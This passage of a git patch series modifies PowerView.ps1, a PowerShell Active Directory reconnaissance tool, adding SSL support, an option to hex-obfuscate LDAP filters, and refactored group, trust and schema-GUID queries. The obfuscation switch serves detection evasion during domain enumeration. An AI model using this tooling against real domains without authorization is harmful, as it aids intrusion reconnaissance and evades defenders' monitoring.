hex encoding. + .EXAMPLE Get-DomainSID @@ -10570,7 +10575,13 @@ A string representing the specified domain SID. [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) $SearcherArguments = @{ @@ -10579,6 +10590,8 @@ A string representing the specified domain SID. if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid From 4175fafaa2c49acd6a5da19a641e99912003ea6e Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Tue, 27 Jul 2021 17:32:52 +0100 Subject: [PATCH 41/58] forgot to add searcher params --- Recon/PowerView.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 02194800..e6edea8d 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -20250,6 +20250,8 @@ Custom PSObject with translated domain API trust result fields. if ($PsCmdlet.ParameterSetName -eq 'LDAP') { # if we're searching for domain trusts through LDAP/ADSI $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments + if ($PSBoundParameters['SSL']) { $NetSearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$NetSearcherArguments['Obfuscate'] = $Obfuscate } $SourceSID = Get-DomainSID @NetSearcherArguments if ($TrustSearcher) { From fc68892a73d408f79f4528de0bb605c7440bdcec Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Tue, 27 Jul 2021 17:42:51 +0100 Subject: [PATCH 42/58] cleaned up Get-DomainTrust code a little --- Recon/PowerView.ps1 | 144 +++++++++++++++++++++----------------------- 1 file changed, 70 insertions(+), 74 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index e6edea8d..9a5e3711 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -20221,11 +20221,17 @@ Custom PSObject with translated domain API trust result fields. if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['SSL']) { $LdapSearcherArguments['SSL'] = $SSL } if ($PSBoundParameters['Obfuscate']) {$LdapSearcherArguments['Obfuscate'] = $Obfuscate } + + $NetSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SSL']) { $NetSearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$NetSearcherArguments['Obfuscate'] = $Obfuscate } + } PROCESS { if ($PsCmdlet.ParameterSetName -ne 'API') { - $NetSearcherArguments = @{} if ($Domain -and $Domain.Trim() -ne '') { $SourceDomain = $Domain } @@ -20249,94 +20255,84 @@ Custom PSObject with translated domain API trust result fields. if ($PsCmdlet.ParameterSetName -eq 'LDAP') { # if we're searching for domain trusts through LDAP/ADSI - $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments - if ($PSBoundParameters['SSL']) { $NetSearcherArguments['SSL'] = $SSL } - if ($PSBoundParameters['Obfuscate']) {$NetSearcherArguments['Obfuscate'] = $Obfuscate } $SourceSID = Get-DomainSID @NetSearcherArguments - if ($TrustSearcher) { - #$TrustSearcher.Filter = '(objectClass=trustedDomain)' - - #if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } - #else { $Results = $TrustSearcher.FindAll() } - $Results = Invoke-LDAPQuery @LdapSearcherArguments -LDAPFilter "(objectClass=trustedDomain)" - $Results | Where-Object {$_} | ForEach-Object { - if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { - $Props = @{} - foreach ($a in $_.Attributes.Keys | Sort-Object) { - if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'securityidentifier')) { - $Props[$a] = $_.Attributes[$a] - } - else { - $Values = @() - foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { - $Values += [System.Text.Encoding]::UTF8.GetString($v) - } - $Props[$a] = $Values + $Results = Invoke-LDAPQuery @LdapSearcherArguments -LDAPFilter "(objectClass=trustedDomain)" + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Props = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'securityidentifier')) { + $Props[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) } + $Props[$a] = $Values } } - else { - $Props = $_.Properties - } + } + else { + $Props = $_.Properties + } - $DomainTrust = New-Object PSObject + $DomainTrust = New-Object PSObject - $TrustAttrib = @() - $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } + $TrustAttrib = @() + $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } - $Direction = Switch ($Props.trustdirection) { - 0 { 'Disabled' } - 1 { 'Inbound' } - 2 { 'Outbound' } - 3 { 'Bidirectional' } - } + $Direction = Switch ($Props.trustdirection) { + 0 { 'Disabled' } + 1 { 'Inbound' } + 2 { 'Outbound' } + 3 { 'Bidirectional' } + } - $TrustType = Switch ($Props.trusttype) { - 1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' } - 2 { 'WINDOWS_ACTIVE_DIRECTORY' } - 3 { 'MIT' } - } + $TrustType = Switch ($Props.trusttype) { + 1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' } + 2 { 'WINDOWS_ACTIVE_DIRECTORY' } + 3 { 'MIT' } + } - $Distinguishedname = $Props.distinguishedname[0] - $SourceNameIndex = $Distinguishedname.IndexOf('DC=') - if ($SourceNameIndex) { - $SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.' - } - else { - $SourceDomain = "" - } + $Distinguishedname = $Props.distinguishedname[0] + $SourceNameIndex = $Distinguishedname.IndexOf('DC=') + if ($SourceNameIndex) { + $SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.' + } + else { + $SourceDomain = "" + } - $TargetNameIndex = $Distinguishedname.IndexOf(',CN=System') - if ($SourceNameIndex) { - $TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3) - } - else { - $TargetDomain = "" - } + $TargetNameIndex = $Distinguishedname.IndexOf(',CN=System') + if ($SourceNameIndex) { + $TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3) + } + else { + $TargetDomain = "" + } - $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) - $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value - $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain - $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] - # $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}" - $DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType - $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',') - $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" - $DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0] - $DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0] - $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') - $DomainTrust - } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" - } + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + # $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',') + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0] + $DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0] + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') + $DomainTrust + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" } - $TrustSearcher.dispose() } } elseif ($PsCmdlet.ParameterSetName -eq 'API') { From bf702d606f9c178b6509d4520ea3bb1736b5bdfc Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Wed, 28 Jul 2021 12:59:25 +0100 Subject: [PATCH 43/58] added ssl support to Get-DomainDN and initial support for Get-DomainGroup --- Recon/PowerView.ps1 | 290 ++++++++++++++++++++++++++------------------ 1 file changed, 172 insertions(+), 118 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 9a5e3711..5e983b32 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4207,6 +4207,10 @@ Switch. Use LDAP queries to determine the domain controllers instead of built in A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + .EXAMPLE Get-DomainController -Domain 'test.local' @@ -4261,13 +4265,17 @@ If -LDAP isn't specified. [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $Arguments['SSL'] = $SSL } if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } @@ -10704,6 +10712,14 @@ for connection to the target domain. Switch. Return raw results instead of translating the fields into a custom PSObject. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainGroup | select samaccountname @@ -10871,7 +10887,13 @@ Custom PSObject with translated group property fields. $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $Raw + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) BEGIN { @@ -10886,146 +10908,162 @@ Custom PSObject with translated group property fields. if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } - $GroupSearcher = Get-DomainSearcher @SearcherArguments + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } } PROCESS { - if ($GroupSearcher) { - if ($PSBoundParameters['MemberIdentity']) { + if ($PSBoundParameters['MemberIdentity']) { - if ($SearcherArguments['Properties']) { - $OldProperties = $SearcherArguments['Properties'] - } + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } - $SearcherArguments['Identity'] = $MemberIdentity - $SearcherArguments['Raw'] = $True + $SearcherArguments['Identity'] = $MemberIdentity + $SearcherArguments['Raw'] = $True - Get-DomainObject @SearcherArguments | ForEach-Object { - # convert the user/group to a directory entry - $ObjectDirectoryEntry = $_.GetDirectoryEntry() - - # cause the cache to calculate the token groups for the user/group - $ObjectDirectoryEntry.RefreshCache('tokenGroups') - - $ObjectDirectoryEntry.TokenGroups | ForEach-Object { - # convert the token group sid - $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value - - # ignore the built in groups - if ($GroupSid -notmatch '^S-1-5-32-.*') { - $SearcherArguments['Identity'] = $GroupSid - $SearcherArguments['Raw'] = $False - if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } - $Group = Get-DomainObject @SearcherArguments - if ($Group) { - $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') - $Group - } + Get-DomainObject @SearcherArguments | ForEach-Object { + # convert the user/group to a directory entry + $ObjectDirectoryEntry = $_.GetDirectoryEntry() + + # cause the cache to calculate the token groups for the user/group + $ObjectDirectoryEntry.RefreshCache('tokenGroups') + + $ObjectDirectoryEntry.TokenGroups | ForEach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in groups + if ($GroupSid -notmatch '^S-1-5-32-.*') { + $SearcherArguments['Identity'] = $GroupSid + $SearcherArguments['Raw'] = $False + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + $Group = Get-DomainObject @SearcherArguments + if ($Group) { + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group } } } } - else { - $IdentityFilter = '' - $Filter = '' - $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { - # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname - # and rebuild the domain searcher - $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - $SearcherArguments['Domain'] = $IdentityDomain - $GroupSearcher = Get-DomainSearcher @SearcherArguments - if (-not $GroupSearcher) { - Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'" - } - } - } - elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { - $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - elseif ($IdentityInstance.Contains('\')) { - $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical - if ($ConvertedIdentityInstance) { - $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) - $GroupName = $IdentityInstance.Split('\')[1] - $IdentityFilter += "(samAccountName=$GroupName)" - $SearcherArguments['Domain'] = $GroupDomain - Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" - $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GroupSearcher) { + Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'" } } - else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" - } - } - - if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { - $Filter += "(|$IdentityFilter)" } - - if ($PSBoundParameters['AdminCount']) { - Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' - $Filter += '(admincount=1)' + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" } - if ($PSBoundParameters['GroupScope']) { - $GroupScopeValue = $PSBoundParameters['GroupScope'] - $Filter = Switch ($GroupScopeValue) { - 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } - 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } - 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' } - 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } - 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } - 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } - } - Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'" - } - if ($PSBoundParameters['GroupProperty']) { - $GroupPropertyValue = $PSBoundParameters['GroupProperty'] - $Filter = Switch ($GroupPropertyValue) { - 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } - 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } - 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } - 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments } - Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'" } - if ($PSBoundParameters['LDAPFilter']) { - Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" - $Filter += "$LDAPFilter" + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" } + } - $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" - Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)" + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } - if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } - else { $Results = $GroupSearcher.FindAll() } - $Results | Where-Object {$_} | ForEach-Object { - if ($PSBoundParameters['Raw']) { - # return raw result objects - $Group = $_ + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['GroupScope']) { + $GroupScopeValue = $PSBoundParameters['GroupScope'] + $Filter = Switch ($GroupScopeValue) { + 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } + 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } + 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' } + 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } + 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } + 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'" + } + if ($PSBoundParameters['GroupProperty']) { + $GroupPropertyValue = $PSBoundParameters['GroupProperty'] + $Filter = Switch ($GroupPropertyValue) { + 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } + 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } + 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } + 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $Filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroup] filter string: $($Filter)" + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter" + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Group = $_ + } + else { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } + } } else { - $Group = Convert-LDAPProperty -Properties $_.Properties + $Prop = $_.Properties } - $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') - $Group + + $Group = Convert-LDAPProperty -Properties $Prop } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" - } + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" } - $GroupSearcher.dispose() } + $GroupSearcher.dispose() } } } @@ -22784,6 +22822,14 @@ Specifies an Active Directory server (domain controller) to bind to. A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainDN @@ -22820,7 +22866,13 @@ A string representing the specified domain distinguished name. [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) $SearcherArguments = @{ @@ -22829,6 +22881,8 @@ A string representing the specified domain distinguished name. if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } $DCDN = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty distinguishedname From 103d6a4d06bf613e3a270fb9e3043427cce0d6a6 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Thu, 29 Jul 2021 12:09:53 +0100 Subject: [PATCH 44/58] fixed SSL support for Get-DomainObjectAcl --- Recon/PowerView.ps1 | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5e983b32..1ff51a54 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5481,7 +5481,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { $Prop = @{} foreach ($a in $_.Attributes.Keys | Sort-Object) { - if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor')) { $Prop[$a] = $_.Attributes[$a] } else { @@ -6208,12 +6208,12 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- if ($SchemaSearcher) { $LDAPFilter = '(schemaIDGUID=*)' try { - Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter" + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter" $Results | Where-Object {$_} | ForEach-Object { if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { $Prop = @{} foreach ($a in $_.Attributes.Keys | Sort-Object) { - if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or $a -eq 'schemaidguid') { $Prop[$a] = $_.Attributes[$a] } else { @@ -6271,7 +6271,7 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- $Prop = $_.Properties } - $GUIDs[$_.properties.rightsguid[0].toString()] = $Prop.name[0] + $GUIDs[$Prop.rightsguid[0].toString()] = $Prop.name[0] } if ($Results) { try { $Results.dispose() } @@ -23763,6 +23763,12 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Request = New-Object -TypeName System.DirectoryServices.Protocols.SearchRequest $PageRequestControl = New-Object -TypeName System.DirectoryServices.Protocols.PageResultRequestControl -ArgumentList $MaxResultsToRequest + # for returning ntsecuritydescriptor + if ($PSBoundParameters['SecurityMasks']) { + $SDFlagsControl = New-Object -TypeName System.DirectoryServices.Protocols.SecurityDescriptorFlagControl -ArgumentList $SecurityMasks + $Request.Controls.Add($SDFlagsControl) + } + if ($PSBoundParameters['SearchBase']) { $Request.DistinguishedName = $SearchBase } From 564890c3f3e006ff70f16dac0867361547f49a4c Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Thu, 29 Jul 2021 13:18:52 +0100 Subject: [PATCH 45/58] fix for Get-DomainGUIDMap when Get-Forest doesn't work --- Recon/PowerView.ps1 | 341 +++++++++++++++++++++++--------------------- 1 file changed, 176 insertions(+), 165 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 1ff51a54..9d2dfd6d 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6183,12 +6183,21 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- $ForestArguments = @{} if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } + $DomainDNArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainDNArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainDNArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DomainDNArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $DomainDNArguments['SSL'] = $SSL } + try { $SchemaPath = (Get-Forest @ForestArguments).schema.name } catch { - throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + $DomainDN = Get-DomainDN @DomainDNArguments + if ($DomainDN) { + $SchemaPath = "CN=Schema,CN=Configuration,$($DomainDN)" + } } if (-not $SchemaPath) { throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' @@ -6203,41 +6212,37 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } - $SchemaSearcher = Get-DomainSearcher @SearcherArguments - if ($SchemaSearcher) { - $LDAPFilter = '(schemaIDGUID=*)' - try { - $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter" - $Results | Where-Object {$_} | ForEach-Object { - if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { - $Prop = @{} - foreach ($a in $_.Attributes.Keys | Sort-Object) { - if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or $a -eq 'schemaidguid') { - $Prop[$a] = $_.Attributes[$a] - } - else { - $Values = @() - foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { - $Values += [System.Text.Encoding]::UTF8.GetString($v) - } - $Prop[$a] = $Values + $LDAPFilter = '(schemaIDGUID=*)' + try { + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter" + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in 